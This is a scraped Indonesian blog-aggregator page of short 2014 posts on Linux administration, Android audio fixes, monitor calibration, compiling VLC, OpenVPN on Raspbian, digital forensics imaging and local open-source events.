MD5 hash verified image    : 44cf94ff5e6c574e48278823df5d9b27

Pesan dari seorang teman, "sama aja yang mau digeledah rumah tapi cuma kamar aja yang diliat". Inilah titik pencerahan dalam menggandakan barang bukti digital. Semoga saat uji coba dengan FTK Imager barang bukti tidak terkontaminasi.
on 04 Apr 2014 04:44 AM
Teman-teman menggunakan aplikasi penyunting Hex di MS Windows yang tentunya berbasis grafis. Saya kebingungan kemudian hanya menginstall Hexedit, sudo apt-get install hexedit. Dalam hati masak gak ada siih di Linux yang berbasis grafis. Perlu diakui Hexedit lebih ringan.

Setelah mendapatkan koneksi yang lebih stabil, akhirnya saya install Bless. Informasi tentang Bless dapat dilihat di http://home.gna.org/bless/. Installasi di Linux Mint cukup ketik sudo apt-get install bless. Untuk sementara menggunakan Bless tidak terlalu geek.

on 04 Apr 2014 12:42 AM

03 Apr 2014

Semenjak saya memperbaharui sistem operasi dari Jellybeans (4.2.2) ke  Kit Kat (4.4.2), terjadi gangguan saat memainkan musik dengan menggunakan pendengar (headphone).

Saya pikir yang rusak konektor di telepon. Saya sudah mau berpikir untuk menggunakan garansi. Apalagi, pendengar yang saya gunakan Audio Technica ATH-M50 berjalan dengan baik di komputer dan perangkat lainnya.

Ternyata, saya tidak sendirian:

THAT Kitkat Audio Bug – Hissing/Crackling. – xda-developersTHAT Kitkat Audio Bug – Hissing/Crackling. G2 General
Embedly Powered

Banyak juga yang mengalami apa yang saya alami. Nampaknya ini terjadi kepada perangkat pendengar kelas atas. Pendengar bawaan dari LG dan pendengar-pendengar biasa tidak mendengar sama sekali gangguan tersebut.

Apa, sih, gangguan tersebut? Kalau memainkan musik, ada bunyi kresek-kresek yang menemani. Ini contoh video gangguan yang terekam:


Pertama, kalau Anda tidak ingin garansi resmi hilang, lebih baik jangan pindah ke Kit Kat dulu. Atau, kalau terlanjur, kembali saja ke Jelly Beans.

Kedua, solusi parsial, akan hilang bila telepon dinyalakan ulang. Caranya adalah dengan melakukan kalibrasi loopback, mik 1, mik 2, dan mik 3. Cara ini parsial karena masalah akan datang kembali ketika telepon dinyalakan ulang.

xda-developers – View Single Post – THAT Kitkat Audio Bug – Hissing/Crackling.Senior Member Thanks Meter 234 Ok so unplug your headphones. Click reboot on your device. When your device will reboot plug the headphones. Go to dial keypad. Look about what sound keypad keys like 2,5,0,#. Delete all what you typed. Type in dial 3845#*802#, it will show Hidden Menu.
Embedly Powered

Cara ketiga, bila menggunakan pendengar yang dilengkapi dengan mik, dapat dilakukan Hook Key Test. Cara ini juga parsial karena akan hilang ketika pendengar dicopot dari telepon.

Cara terakhir, cara yang menghilangkan garansi. Anda perlu root telepon Anda, pasang Xposed 2.5+ dan modul G2 Tweaks Box 2. Ubah mixer_path.xml pada telepon Anda. Lalu, pada G2 Tweaks Box aktifkan tambalan:

Sound Tweaks—————>Fix Hissing Headset issues

Setelah itu, silakan nyalakan ulang telepon. Maka, masalah ini akan selesai.

Berhubung G2 saya masih garansi, saya tidak menggunakan cara terakhir. Saya melaporkan hal tersebut pada LG. Nasib.


on 03 Apr 2014 10:56 AM
Menikmati kopi di Klinik Kopi bagi saya bukan sekedar minum kopi namun pengalaman menarik dari proses penyajian kopi yang disajikan oleh +pepeng escoret. Kali ini bakal diadakan Diskusi Publik tentang Open Source bersama Onno W. Purbo dan Don K Marut. Jadi tidak sekedar menikmati kopi namun Anda akan mendapatkan informasi tentang Open Source.

Acara yang akan dipandu oleh Sholahuddin Nur'azmi diselenggarakan hari ini (03/04) jam 14.30 di Klinik Kopi (Pusat Studi Lingkungan Universitas Sanata Dharma) Jln. Affandi. Ancer-ancer-nya selatan Toko Buku Toga Mas ada gang masuk sekitar 20m. Tertarik nanti siang menjelang sore bergabung dalam diskusi ini?

on 03 Apr 2014 04:15 AM

01 Apr 2014

Melalui akun twitter +ryan oke saya mendapatkan informasi bahwa sebenarnya pada tahun 2007 Pemerintah Daerah Istimewa Yogyakarta telah mendukung kegiatan pemanfaatan Open Source Software dikalangan pemerintah. Saat saya konfirmasi hanya dokumen terakhir yang terselamatkan oleh +ryan oke.

Dokumen yang ditandatangangi Gubernur DIY, Sri Sultan Hamengku Buwono X pada 11 Desember 2007 sebagai pengantar kegiatan pemanfaatan Open Source Software. Saya waktu itu belum pulang ke Yogyakarta (baca: masih merantau). Jadi tidak mengetahui kegiatan ini sepenuhnya.

Menurut halaman terakhir dari surat tersebut akan dikembangkan sistem operasi berbasis Open Source Software yang bisa menjawab kebutuhan. Semoga melalui "serpihan" dokumen ini sebagai "saksi kunci" kelanjutan dari kegiatan pemanfaatan Open Source Software di kalangan pemerintah.

on 01 Apr 2014 08:38 AM
Setelah berhasil install CWM di Andromax U2, akhirnya bisa juga menikmati Android 4.4 KitKat untuk Andromax U2. Ini tampilan memakai Apex Launcher biar asyik dilihat. Ini tampilan versi yang dipakai. Makasih buat yg sdh nyediain KitKat untuk Andromax U2.
on 01 Apr 2014 01:43 AM

29 Mar 2014

Jadul Style

Fakhrul Rijal

on 29 Mar 2014 01:16 PM

26 Mar 2014

Sebagai desainer grafis memang saya mementingkan akurasi warna pada setiap layar monitor, agar dapat menghasilkan warna-warna yang sesuai dengan yang saya desain. Tapi tunggu dulu, sepertinya Saya agak telat mendokumentasikan konfigurasi untuk kalibrasi Monitor DELL S2240L dengan OS X karena kesibukan yang tidak dapat digannggu beberapa bulan ini, saya sempatkan untuk update blog lagi dengan postingan enteng-enteng :D
Monitor DELL S2240L memiliki resolusi 1080p yang dapat menghasilkan warna hampir sama dengan layar keluaran Apple dengan Gamut Color mencapai 80%, jadi warna dari layar MacBook saya tidak terpaut jauh dengan Monitor DELL S2240L tapi untuk menghasilkan warna yang hampir sama, perlu di otak atik sedikit untuk pengaturan warna di monitor DELL S2240L, konfiguasi warna bisa mengukuti konfigurasi berikut :

Red             : 75%
Green         : 69%
Blue            : 71%
Contrast     : 100%
Brightness : 80%

Konfigurasi warna profile diatas saya rasa sudah sama dengan kebanyakan layar Apple, dan saya buktikan dengan menyadingkan dengan layar MacBook dengan sistem operasi OS X yang sudah di kalibrasi juga profile warnanya. Untuk Kalibrasi warna pada OSX masuk ke system preferences --> Display --> Pilih monitor DELL S2240L kemudian pilih color dilanjutkan klik "calibrate" ikuti instruksi dan abaikan Expert mode dengan uncek menu Expert mode, lanjutkan kalibrasi warna untuk Native Gamma, konfigurasi seperti tangkapan layar berikut : 

Setelah selesai simpan dengan Warna Profile baru, dan jangan lupa untuk mengaktifkan multiple Display untuk berkerja dengan display masing-masing tanpa mirror mode ;-). Untuk kalibrasi di sistem operasi Linux saya sendiri belum menemukan konfigurasi karena tidak terdeteksi otomatis color profile pada monitor DELL S2240L, apabila suatu hari saya menemukan konfigurasi akan saya dokumentasikan lebih lanjut. :)

Mari lanjut menggambar ...

on 26 Mar 2014 03:42 AM

25 Mar 2014

Ini hanya sekedar catatan yang sewaktu-waktu menjadi sarana “contekan” saat melakukan hal serupa.

Sunting berkas “/etc/resolv.conf”, buat jika memang berkas tersebut belum ada.

# vi /etc/resolv.conf
search domain.com

Salin tempel konfigurasi “nswitch.dns” menjadi “nswitch.conf”.

# cp /etc/nsswitch.dns /etc/nsswitch.conf

Testing dengan cara melakukan dig dan ping ke salah satu server menggunakan hostname FQDN.

# dig server01.domain.com +short

# ping -s server01.domain.com
PING server01.domain.com: 56 data bytes
64 bytes from server01.domain.com ( icmp_seq=0. time=0.255 ms
64 bytes from server01.domain.com ( icmp_seq=1. time=0.229 ms
64 bytes from server01.domain.com ( icmp_seq=2. time=0.244 ms

Jika menemukan masalah akses putty/sejenisnya dari komputer kita menjadi lama setelah melakukan perubahan diatas, coba tambahkan konfigurasi berikut di “/etc/ssh/sshd_config”.

# vi /etc/ssh/sshd_config
LookupClientHostnames no

Kemudian restart servis ssh di server.

# svcadm restart svc:/network/ssh:default

Kemudian coba kembali akses server tersebut menggunakan putty atau sejenisnya.

Semoga bermanfaat.

on 25 Mar 2014 08:33 AM

18 Mar 2014

Masih seputar BlankOn di Macbook Air, setelah instalasi dan konfigurasi klik kanan di touchpad Macbook Air, hari ini ketemu masalah bahwa fungsi “suspend” dan “hibernate” tidak berfungsi sebagaimana mustinya.

Sedikit oprekan dengan bantuan google, bagi yang mempunyai masalah yang sama, silakan ikuti langkah-langkah berikut, mudah-mudahan masalah Anda juga terselesaikan seperti saya.

Langkah pertama pastikan Anda mempunyai swap yang cukup, sekurang-kurangnya adalah sama besar dengan jumlah memory fisik Anda. Berhubung saya menggunakan swapfile dan jumlah memory saya 4GB, maka saya konfigurasikan swapfile saya sebesar 5GB.

# dd if=/dev/zero of=/swap01 bs=1M count=5120
# mkswap /swap01
# swapon /swap01

Periksa apakah swap Anda telah berhasil dikonfigurasikan.

# cat /proc/swaps
Filename Type Size Used Priority
/swap01  file 5242876 0 -1

Langkah selanjutnya adalah install paket-paket tambahan berikut, informasi lengkap tentang paket-paket diatas bisa dibaca di internet.

# apt-get install pm-utils uswsusp
# dpkg -reconfigure -pmedium uswsusp (sesuaikan lokasi swap nya)

Sampai langkah ini “suspend” dan “hibernate” sukses tapi tidak sukses saat komputer hendak “resume” dari state terakhir saat hibernate. Oke mari kita lanjutkan ke langkah selanjutnya.

Buat berkas “resume” dan konfigurasikan dengan menentukan lokasi “swap” Anda.

# cat /etc/initramfs-tools/conf.d/resume

Kemudian update initramfsnya.

# update-initramfs -u

Ubah konfigurasi “/etc/default/grub”, tambahkan “resume=/swap01″ pada parameter “GRUB_CMDLINE_LINUX_DEFAULT”

# vi /etc/default/grub 
GRUB_CMDLINE_LINUX_DEFAULT="resume=/swap01 quiet"

Langkah selanajutnya update konfigurasi grub Anda.

# update-grub

Troubleshooting sebuah masalah, kuncinya ada pada berkas log, seni membaca log adalah inti dari perkerjaan besar “troubleshooting” :)

# tail -100f /var/log/pm-suspend.log

Untuk melakukan testing “suspend” dan “hibernate”, kita bisa menggunakan command berikut:

# pm-suspend
# pm-hibernate

Demikian dan semoga bermanfaat.

on 18 Mar 2014 03:43 AM

17 Mar 2014

Anda pengguna baru BlankOn di Macbook seperti saya? Anda menemukan masalah klik kanan yang tidak bisa digunakan pada touchpad Macbook Anda? begini cara mengaktifkannya :)

Pasang paket tpconfig (pengganti synaptics)

# apt-get install tpconfig

Nonaktifkan konfigurasi seperti di bawah ini pada berkas “50-synaptics.conf”

# vi /usr/share/X11/xorg.conf.d/50-synaptics.conf

# This option disables software buttons on Apple touchpads.
# This option is only interpreted by clickpads.

# Section "InputClass"
# Identifier "Disable clickpad buttons on Apple touchpads"
# MatchProduct "Apple|bcm5974"
# MatchDriver "synaptics"
# Option "SoftButtonAreas" "0 0 0 0 0 0 0 0"
# EndSection

Silahkan logout kemudian login kembali :)

on 17 Mar 2014 08:07 AM

15 Mar 2014

In debian wheezy the latest version of VLC is 2.0.6. But, if you want to get the new version of VLC, you can grab it at here to do compiling by yourself.

 $ wget ftp://ftp.videolan.org/pub/videolan/vlc/2.1.4/vlc-2.1.4.tar.xz  

Once you have done downloading the VLC, now please install the required lib packets.

 # apt-get install libavcodec-dev libshout3-dev libsidplayfp-dev libfreerdp1 libvncserver-dev libcddb2-dev libavformat-dev libvlc-dev libmodplug-dev libshout3-dev libgnomevfs2-dev libcddb2-dev libbluray-dev libopencv-dev libsmbclient-raw-dev libssh2-1-dev libdvdnav-dev libdvdread-dev libzvbi-dev libraw1394-dev libdc1394-22-dev liblivemedia-dev libdssialsacompat-dev libfribidi-dev librsvg2-dev libcaca-dev libfluidsynth-dev libass-dev libspeexdsp-dev libtool build-essential pkg-config autoconf liblua5.1-luacsnd5.2 

Extract the archive of VLC using tarball utility:

 $ tar -xvf vlc-2.1.4.tar.xz; mv vlc-2.1.4 vlc; cd vlc 

Make sure you're in directory VLC installation, to configure it please run this command:

 $ ./configure 

or if you want to install in another directory:

 $ ./configure --prefix=/path/to/install/whatever-folder-you-want 
Let's compile the source, this will take a lot of time, be patient. B)

 $ make  
 # make install 
 # make clean 

Now,  VLC 2.1.4 has been installed in your system. Enjoy with the new version! :)

on 15 Mar 2014 10:13 AM
Mumpung masih fresh, saya ingin menulis pengalaman minggu ini, ketika saya mengikuti pelatihan manajemen di perusahaan tempat saya bekerja sekarang yang temanya membahas "Social Media Marketing" dan kemudian akan saya lanjutkan dengan tema artikel ini tentang "Manusiawi".

Sesi pertemuan diawali dengan sebuah pertanyaan: "Siapa diantara kalian yang lahir di era sebelum internet?" Tentu saja, saya yang baru saja menginjak usia 32 tahun sehari sebelumnya mengangkat tangan keatas sambil melirik kiri-kanan (berharap ada yang seumuran atau lebih tua dari saya :p).

Karena cuma saya yang mengangkat tangan (>.< kebanyakan pesertanya anak 90-an), akhirnya pertanyaan berikutnya ditujukan kepada saya: "Misalnya kamu mau berlibur ke luar daerah, bagaimana cara kamu memperoleh informasi hotel yang bagus dan ratenya?" Saya bilang pada zaman itu, mungkin saya akan buka halaman "Yellow Pages" di buku telepon saya dan cari iklan hotel yang berada di dekat area yang akan saya kunjungi dan menelepon resepsionisnya untuk menanyakan ratenya.
Read More »
on 15 Mar 2014 04:59 AM

12 Mar 2014

Its just simple to use openvpn on raspbian, just take a simple step :

1. instaling openvpn : apt-get install openvpn

2. download vpngate config file with extension .ovpn and place it to /etc/openvpn 

3. [optional] to connect automatically at startup just change extension .ovpn to .conf.

4. create user.txt file filled with user and password in two rows exactly like below and change permision to 700 :



5. in the .ovpn or .conf file add a line like this

auth-user-pass user.txt

6. Connect with command:

openvpn –daemon –cd /etc/openvpn –config vpngate.conf


Reference :




on 12 Mar 2014 10:10 AM

06 Mar 2014

PERATURAN MENTERI PENDIDIKAN PENDIDIKAN DAN KEBUDAYAAN REPUBLIK INDONESIA NOMOR 70 TAHUN 2013 TENTANG KERANGKA DASAR DAN STRUKTUR KURIKULUM SEKOLAH MENENGAH KEJURUAN/MADRASAH ALIYAH KEJURUAN Kutipan Pasal 1 Kerangka dasar kurikulum Sekolah Menengah Kejuruan/Madrasah Aliyah Kejuruan merupakan landasan filosofis, sosiologis, psikopedagogis, dan yuridis yang berfungsi sebagai acuan pengembangan struktur kurikulum pada tingkat nasional dan pengembangan muatan lokal […]
on 06 Mar 2014 11:40 AM